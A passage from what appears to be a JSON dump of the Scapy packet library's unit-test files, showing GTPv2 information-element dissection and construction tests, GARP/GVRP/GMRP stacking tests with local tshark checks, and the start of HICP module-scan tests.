b'pgw1.test.local'\ngtp.build().hex() == h\n\n= IE_PDNConnection, IE_FQDN, basic instantiation\nie = IE_PDNConnection(IE_list=[IE_FQDN(ietype=136, length=5, CR_flag=0, instance=0, fqdn=b'pgw1.test.local')], ietype=109, length=9, CR_flag=0, instance=0)\nie2 = ie.IE_list[0]\nie2.fqdn == b'pgw1.test.local'\n\n= IE_PAA, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[9]\nie.PDN_type == 1 and ie.ipv4 == '127.0.0.3'\n\n= IE_PAA, basic instantiation\nie = IE_PAA(ietype='PAA', length=5, PDN_type='IPv4', ipv4='127.0.0.3')\nie.ietype == 79 and ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3'\n\n= IE_Bearer_QoS, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[12].IE_list[2]\nie.MaxBitRateForUplink == 0 and ie.MaxBitRateForDownlink == 0 and ie.QCI == 7\n\n= IE_Bearer_QoS, basic instantiation\nie = IE_Bearer_QoS(ietype='Bearer QoS', length=22, PCI=4, PriorityLevel=5, PVI=6, QCI=7,\n                          MaxBitRateForUplink=1, MaxBitRateForDownlink=2, GuaranteedBitRateForUplink=3, GuaranteedBitRateForDownlink=4)\nie.ietype == 80 and ie.PCI == 4 and ie.PriorityLevel == 5 and ie.PVI == 6 and ie.QCI == 7 and ie.MaxBitRateForUplink == 1 and ie.MaxBitRateForDownlink == 2 and ie.GuaranteedBitRateForUplink == 3 and ie.GuaranteedBitRateForDownlink == 4\n\n= IE_RAT, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[4]\nie.RAT_type == 6\n\n= IE_RAT, basic instantiation\nie = IE_RAT(ietype='RAT', length=1, RAT_type='EUTRAN')\nie.ietype == 82 and ie.RAT_type == 6\n\n= IE_ServingNetwork, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[3]\nie.MCC == b'234' and ie.MNC == b'02'\n\n= IE_ServingNetwork, basic instantiation\nie = IE_ServingNetwork(\n    ietype='Serving Network', length=3, MCC='234', MNC='02')\nie.ietype == 83 and ie.MCC == b'234' and ie.MNC == b'02'\n\n= IE_ULI, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[2]\nie.TAI_Present == 1 and ie.ECGI_Present == 1 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456\n\n= IE_ULI, basic instantiation\nie = IE_ULI(ietype='ULI', length=13, LAI_Present=0, ECGI_Present=1, TAI_Present=1, RAI_Present=0, SAI_Present=0,\n                   CGI_Present=0, TAI=ULI_TAI(MCC='234', MNC='02', TAC=12345), ECGI=ULI_ECGI(MCC='234', MNC='02', ECI=123456))\nie.ietype == 86 and ie.LAI_Present == 0 and ie.ECGI_Present == 1 and ie.TAI_Present == 1 and ie.RAI_Present == 0 and ie.SAI_Present == 0 and ie.CGI_Present == 0 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456\n\n= IE_UCI, dissection\nh = \"fe1d70fa717ceeeeeeeeeeee080045000127a4f500003c11e9aec0a8ee80c0a87f50084b23a301131aa1482001070000000001020f009100080021f3540000001602\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45'\n\n= IE_UCI, basic instantiation\nie = IE_UCI(ietype='UCI', length=8, CR_flag=0, instance=0, MCC=b'123', MNC=b'45', SPARE1=0, SPARE2=0, CSG_ID=22, AccessMode=0, LCSG=1, CMI=0)\nie.ietype == 145 and ie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45'\n\n= IE_BearerFlags, dissection\nh = \"0026f126c100000c29b131dd81004d040800450000d8a6010000401118680a2180350a212735084b138800c47f8248210011000023f2000001005d006200610001000a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0].IE_list[0]\nie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0\n\n= IE_BearerFlags, basic instantiation\nie = IE_BearerFlags(ietype='Bearer Flags', length=1, CR_flag=0, instance=0, SPARE=0, ASI=1, Vind=0, VB=1, PPC=0)\nie.ietype == 97 and ie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0\n\n= IE_UPF_SelInd_Flags, dissection\nh = \"000c29b131dd0026f126c10081000d04080045000112608940003f111ea60a2127350a2180351388084b00fe0ec44820000d0000000000000100ca00010000\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.DCNR == 0\n\n= IE_UPF_SelInd_Flags, basic instantiation\nie = IE_UPF_SelInd_Flags(ietype='UP Function Selection Indication Flags', length=1, CR_flag=0, instance=0, SPARE=0, DCNR=0)\nie.ietype == 202 and ie.DCNR == 0\n\n= IE_Ran_Nas_Cause, dissection\nh = \"00000000000000000000000008004500005a0000000040114d390101010101010102084b084b0046bf694824000e000ba0df00002300ac0002003011\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17\n\n= IE_Ran_Nas_Cause, basic instantiation\nie = IE_Ran_Nas_Cause(ietype='RAN/NAS Cause', length=2, CR_flag=0, instance=0, protocol_type=3, cause_type=0, cause_value=17)\nie.ietype == 172 and ie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17\n\n= IE_FQCSID, dissection\nh = \"d89ef3da40e2fa163e956dce0800450000330001000040117a2a0a0f0f3d0a09dd3a084b084b001f454648240013000000010000010084000700010a01010b00c8\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 132 and ie.nodeid_type == 0 and ie.num_csid == 1 and ie.nodeid_v4 == '10.1.1.11' and ie.csid == 200\n\n= IE_FQCSID, basic instantiation\nie = IE_FQCSID(ietype=132, length=19, CR_flag=0, instance=0, nodeid_type=1, num_csid=1, nodeid_v4=None, nodeid_v6=42540578207381523466529575969228128257, nodeid_nonip=None, csid=0)\nie.ietype == 132 and ie.nodeid_type == 1 and ie.num_csid == 1 and ie.nodeid_v6 == 42540578207381523466529575969228128257 and ie.csid == 0\n\n= IE_FTEID, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5]\nie.GRE_Key == 4242 and ie.ipv4 == '127.0.0.2'\n\n= IE_FTEID, basic instantiation\nie = IE_FTEID(ietype='F-TEID', length=9, ipv4_present=1,\n                     InterfaceType=10, GRE_Key=0x1092, ipv4='127.0.0.2')\nie.ietype == 87 and ie.ipv4_present == 1 and ie.InterfaceType == 10 and ie.GRE_Key == 0x1092 and ie.ipv4 == '127.0.0.2'\n\n= IE_BearerContext, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[12]\nlen(ie.IE_list) == 3 and ie.IE_list[0].ietype == 73 and ie.IE_list[0].EBI == 229 and ie.IE_list[\n    1].ietype == 87 and ie.IE_list[1].ipv4 == '127.0.0.2' and ie.IE_list[2].ietype == 80 and ie.IE_list[2].QCI == 7\n\n= IE_BearerContext, basic instantiation\nie = IE_BearerContext(ietype='Bearer Context', length=44, IE_list=[\n                             IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=229)])\nie.ietype == 93 and len(ie.IE_list) == 1 and ie.IE_list[\n    0].ietype == 73 and ie.IE_list[0].EBI == 229\n\n= IE_ChargingID, dissection\nh = \"3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004da0316b4d96ac2c000200020010004c00060011111111111149000100c348000800000061a8000249f07f000100005d001300490001003f0200020010005e00040039004f454a0004007f00000436f73a63\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[5].IE_list[2]\nie.ChargingID == 956321605\n\n= IE_ChargingID, basic instantiation\nie = IE_ChargingID(ietype='Charging ID', length=4, ChargingID=956321605)\nie.ietype == 94 and ie.ChargingID == 956321605\n\n= IE_ChargingCharacteristics, dissection\nh = \"3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f82fd783953790a2000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001000750001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[18]\nie.ChargingCharacteristic == 0xa00\n\n= IE_ChargingCharacteristics, basic instantiation\nie = IE_ChargingCharacteristics(\n    ietype='Charging Characteristics', length=2, ChargingCharacteristic=0xa00)\nie.ietype == 95 and ie.ChargingCharacteristic == 0xa00\n\n= IE_PDN_type, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[8]\nie.PDN_type == 1\n\n= IE_PDN_type, basic instantiation\nie = IE_PDN_type(ietype='PDN Type', length=1, PDN_type='IPv4')\nie.ietype == 99 and ie.PDN_type == 1\n\n= IE_UE_Timezone, dissection\nh = \"3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[13]\nie.Timezone == 20 and ie.DST == 0\n\n= IE_UE_Timezone, basic instantiation\nie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=0)\nie.ietype == 114 and ie.Timezone == 20 and ie.DST == 0\n\n= IE_UE_Timezone, basic instantiation\nie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=1)\nie.ietype == 114 and ie.Timezone == 20 and ie.DST == 1\n\n= IE_Port_Number, dissection\nh = \"00010203040800808e8f8ab608004500004100010000401169140b00019705000001ec45084b002da8524820001d00000000006e400001000700420061896453f44a0004005f1e1d737e0002004532\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[2]\nie.PortNumber == 17714\n\n= IE_Port_Number, basic instantiation\nie = IE_Port_Number(\n    ietype='Port Number', length=2, PortNumber=17714)\nie.ietype == 126 and ie.PortNumber == 17714\n\n= IE_APN_Restriction, dissection\nh = \"3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[4]\nie.APN_Restriction == 0\n\n= IE_APN_Restriction, basic instantiation\nie = IE_APN_Restriction(\n    ietype='APN Restriction', length=1, APN_Restriction=0)\nie.ietype == 127 and ie.APN_Restriction == 0\n\n= IE_SelectionMode, dissection\nh = \"3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f8093ca4cc47fa69000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001004850001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[9]\nie.SelectionMode == 0\n\n= IE_SelectionMode, basic instantiation\nie = IE_SelectionMode(\n    ietype='Selection Mode', length=1, SelectionMode=4)\nie.ietype == 128 and ie.SelectionMode == 4\n\n= IE_MMBR, dissection\nh = \"3333333333332222222222228100838408004580014c97af0000f011830e0a2a00010a2a000282d5084b013876a74820012c29694a667f4a0b000100080002081132547600004c0006001111111111114b000800000000000001e24056000f000632f42030391a8532f42030391a855300030032f420520001000157001900c6000010927f0000020000000000000000000000000000fe8247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000000007f000100004800080000001640000052084e00200080c02306010000060000802110010000108106000000008306000000000005005d003c00490001006057001902c4000010927f0000020000000000000000000000000000fe825000160029080000000000000000000000000000000000000000720002006e005f0002000a00a10008000000164000005208e4701ad2\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[18]\nie.uplink_rate == 5696 and ie.downlink_rate == 21000\n\n= IE_MMBR, basic instantiation\nie = IE_MMBR(ietype='Max MBR/APN-AMBR (MMBR)',\n                    length=8, uplink_rate=5696, downlink_rate=21000)\nie.ietype == 161 and ie.uplink_rate == 5696 and ie.downlink_rate == 21000\n\n= GTPHeader isn't an answer to not GTPHeader instance\nGTPHeader(gtp_type=2).answers(Ether()) == False\n\n= GTPHeader is an answer to a message with the same sequence number\nGTPHeader(seq=42).answers(GTPHeader(seq=42)) == True\n\n= GTPHeader isn't an answer to a message with a different sequence number\nGTPHeader(seq=42).answers(GTPHeader(seq=24)) == False\n\n= GTPV2EchoResponse answers\nassert (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoRequest())\nassert not (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoResponse())\n\n= GTPHeader post_build\ngtp = GTPHeader(gtp_type=\"create_session_req\") / (\"X\"*32)\ngtp.show2()\n\n= GTPHeader length calculation\nh = GTPHeader(seq=12345, version=2, T=1, teid=1234)/(\"X\"*32)\nh = GTPHeader(h.do_build())\nh[GTPHeader].length == len(bytes(h)) - 4\n\n= GTPHeader hashret\nreq = GTPHeader(gtp_type=\"create_session_req\", seq=1) / (\"X\"*32)\nres = GTPHeader(gtp_type=\"create_session_res\", seq=1) / (\"Y\"*32)\nreq.hashret() == res.hashret()\n\n= IE_NotImplementedTLV\nh = \"333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100fe0001000daa000000003f1f382f\"\ngtp = Ether(hex_bytes(h))\nisinstance(gtp.IE_list[0], IE_NotImplementedTLV)\nisinstance(gtp.IE_list[0].payload, NoPayload)\n\n= IE_PrivateExtension, dissection\nh = \"d89ef3da40e2fa163e956dce08004500005b0001000040115d400a0f0f3d01020304084b084b00470000482000620000000100000100ff0015000137020046462d46462d46462d46462d46462d4646ff00160001370100000100000000000000000000000000000000\"\ngtp = Ether(hex_bytes(h))\nie1 = gtp.IE_list[0]\nie2 = gtp.IE_list[1]\nie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646'\nie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000'\n\n= IE_PrivateExtension, basic instantiation\nie1 = IE_PrivateExtension(ietype=255, length=21, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('020046462d46462d46462d46462d46462d4646'))\nie2 = IE_PrivateExtension(ietype=255, length=22, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('0100000100000000000000000000000000000000'))\nie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646'\nie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000'\n"
  },
  {
    "path": "test/contrib/gxrp.uts",
    "content": "# GXRP unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('gxrp')\" -t test/contrib/gxrp.uts\n\n+ GVRP test\n\n= Construction test\n\npkt = GVRP(vlan=2)\nassert pkt.vlan == 2\nassert pkt == GVRP(raw(pkt))\n\n+ GMRP test\n\n= GMRP_GROUP Construction test\n\npkt = GMRP_GROUP(addr=\"01:23:45:67:89:00\")\nassert pkt.addr == \"01:23:45:67:89:00\"\nassert pkt == GMRP_GROUP(raw(pkt))\n\n= GMRP_SERVICE Construction test\n\npkt = GMRP_SERVICE(event=\"All Groups\")\nassert pkt.event == 0\npkt = GMRP_SERVICE(event=\"All Unregistered Groups\")\nassert pkt.event == 1\nassert pkt == GMRP_SERVICE(raw(pkt))\n\n+ GARP Attribute test\n\n= GMRP_GROUP Construction test\n\npkt = GARP_ATTRIBUTE(event='LeaveAll')\nassert pkt.event == 0\nassert GARP_ATTRIBUTE(pkt.build()).len == 2\nassert len(pkt.build()) == 2\npkt = GARP_ATTRIBUTE(event='JoinEmpty')/GVRP()\nassert pkt.event == 1\nassert GARP_ATTRIBUTE(pkt.build()).len == 4\nassert len(pkt.build()) == 4\npkt = GARP_ATTRIBUTE(event='JoinIn')/GVRP()\nassert pkt.event == 2\nassert GARP_ATTRIBUTE(pkt.build()).len == 4\nassert len(pkt.build()) == 4\npkt = GARP_ATTRIBUTE(event='LeaveEmpty')/GVRP()\nassert pkt.event == 3\nassert GARP_ATTRIBUTE(pkt.build()).len == 4\nassert len(pkt.build()) == 4\npkt = GARP_ATTRIBUTE(event='LeaveIn')/GVRP()\nassert pkt.event == 4\nassert GARP_ATTRIBUTE(pkt.build()).len == 4\nassert len(pkt.build()) == 4\npkt = GARP_ATTRIBUTE(event='Empty')/GVRP()\nassert pkt.event == 5\nassert GARP_ATTRIBUTE(pkt.build()).len == 4\nassert len(pkt.build()) == 4\npkt = GARP_ATTRIBUTE(event='JoinEmpty')/GVRP()\ndel pkt.payload\nassert pkt == GARP_ATTRIBUTE(event='JoinEmpty')\nassert GARP_ATTRIBUTE(raw(pkt)) == GARP_ATTRIBUTE(raw(GARP_ATTRIBUTE(event='JoinEmpty')))\nassert len(pkt.build()) == 2\n\n= GVRP Stacking test\n\npkt = Dot3(dst=\"01:80:c2:00:00:21\")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP(\n    msgs=[GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=1),\n                              GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=2)]),\n          GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=3),\n                              GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=4)])])\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 1\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 2\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 3\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 4\npkt = Dot3(pkt.build())\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 1\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 2\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GVRP].vlan == 3\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GVRP].vlan == 4\n\n= GMRP Stacking test\n\npkt = Dot3(dst=\"01:80:c2:00:00:20\")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP(\n    msgs=[GARP_MESSAGE(type = 1, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr=\"00:00:00:00:00:01\"),\n                                        GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr=\"00:00:00:00:00:02\")]),\n          GARP_MESSAGE(type = 2, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event=\"All Groups\"),\n                                        GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event=\"All Unregistered Groups\")])])\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GMRP_GROUP].addr == \"00:00:00:00:00:01\"\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GMRP_GROUP].addr == \"00:00:00:00:00:02\"\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GMRP_SERVICE].event == 0\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GMRP_SERVICE].event == 1\npkt = Dot3(pkt.build())\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 1)[GMRP_GROUP].addr == \"00:00:00:00:00:01\"\nassert pkt.getlayer(GARP_MESSAGE, 1).getlayer(GARP_ATTRIBUTE, 2)[GMRP_GROUP].addr == \"00:00:00:00:00:02\"\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 1)[GMRP_SERVICE].event == 0\nassert pkt.getlayer(GARP_MESSAGE, 2).getlayer(GARP_ATTRIBUTE, 2)[GMRP_SERVICE].event == 1\n\n= GARP from pcap\n\npkts = rdpcap(scapy_path(\"test/pcaps/gvrp.pcapng.gz\"))\nfor p in pkts:\n    if len(p[GARP_ATTRIBUTE].payload) > 0:\n        assert p[GVRP] is not None\n\n= GARP tshark check\n~ tshark\n\nimport tempfile, os\npkt = Dot3(dst=\"01:80:c2:00:00:21\")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP(\n    msgs=[GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=1),\n                              GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=2)]),\n          GARP_MESSAGE(attrs=[GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=3),\n                              GARP_ATTRIBUTE(event='JoinIn')/GVRP(vlan=4)])])\n\nfd, pcapfilename = tempfile.mkstemp()\nwrpcap(pcapfilename, pkt)\nrv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'gvrp'], dump=True, wait=True)\nassert rv != b\"\"\nos.close(fd)\nos.unlink(pcapfilename)\n\n= GARP tshark check\n~ tshark\n\nimport tempfile, os\npkt = Dot3(dst=\"01:80:c2:00:00:20\")/LLC_GARP(dsap=0x42, ssap=0x42, ctrl=3)/GARP(\n    msgs=[GARP_MESSAGE(type = 1, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr=\"00:00:00:00:00:01\"),\n                                        GARP_ATTRIBUTE(event='JoinIn')/GMRP_GROUP(addr=\"00:00:00:00:00:02\")]),\n          GARP_MESSAGE(type = 2, attrs=[GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event=\"All Groups\"),\n                                        GARP_ATTRIBUTE(event='JoinIn')/GMRP_SERVICE(event=\"All Unregistered Groups\")])])\n\nfd, pcapfilename = tempfile.mkstemp()\nwrpcap(pcapfilename, pkt)\nrv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'gmrp'], dump=True, wait=True)\nassert rv != b\"\"\nos.close(fd)\nos.unlink(pcapfilename)\n"
  },
  {
    "path": "test/contrib/hicp.uts",
    "content": "% HICP test campaign\n\n#\n# execute test:\n# > test/run_tests -t test/contrib/hicp.uts\n#\n\n+ Syntax check\n= Import the HICP layer\nfrom scapy.contrib.hicp import *\n\n+ HICP Module scan request\n= Build and dissect module scan\npkt = HICPModuleScan()\nassert(pkt.hicp_command == b\"Module scan\")\nassert(raw(pkt) == b\"MODULE SCAN\\x00\")\npkt = HICP(b\"Module scan\\x00\")\nassert(pkt.hicp_command == b\"Module scan\")\n\n+ HICP Module scan response\n= Build and dissect device description\npkt=HICPModuleScanResponse(fieldbus_type=\"kwack\")\nassert(pkt.protocol_version == b\"1.00\")\nassert(pkt.fieldbus_type == b\"kwack\")\nassert(pkt.mac_address == \"ff:ff:ff:ff:ff:ff\")\npkt=HICP(\nb\"\\x50\\x72\\x6f\\x74\\x6f\\x63\\x6f\\x6c\\x20\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\" \\\nb\"\\x20\\x3d\\x20\\x31\\x2e\\x30\\x30\\x3b\\x46\\x42\\x20\\x74\\x79\\x70\\x65\\x20\" \\\nb\"\\x3d\\x20\\x3b\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x20\\x76\\x65\\x72\\x73\\x69\\x6f\" \\\nb\"\\x6e\\x20\\x3d\\x20\\x3b\\x4d\\x41\\x43\\x20\\x3d\\x20\\x65\\x65\\x3a\\x65\\x65\" \\\nb\"\\x3a\\x65\\x65\\x3a\\x65\\x65\\x3a\\x65\\x65\\x3a\\x65\\x65\\x3b\\x49\\x50\\x20\" \\\nb\"\\x3d\\x20\\x32\\x35\\x35\\x2e\\x32\\x35\\x35\\x2e\\x32\\x35\\x35\\x2e\\x32\\x35\" \\\nb\"\\x35\\x3b\\x53\\x4e\\x20\\x3d\\x20\\x32\\x35\\x35\\x2e\\x32\\x35\\x35\\x2e\\x32\" \\\nb\"\\x35\\x35\\x2e\\x30\\x3b\\x47\\x57\\x20\\x3d\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\" \\\nb\"\\x30\\x3b\\x44\\x48\\x43\\x50\\x20\\x3d\\x20\\x4f\\x46\\x46\\x3b\\x48\\x4e\\x20\" \\\nb\"\\x3d\\x20\\x3b\\x44\\x4e\\x53\\x31\\x20\\x3d\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\" \\\nb\"\\x30\\x3b\\x44\\x4e\\x53\\x32\\x20\\x3d\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\" \\\nb\"\\x3b\\x00\"\n)\nassert(pkt.hicp_command == b\"Module scan response\")\nassert(pkt.protocol_version == b\"1.00\")\nassert(pkt.mac_address == 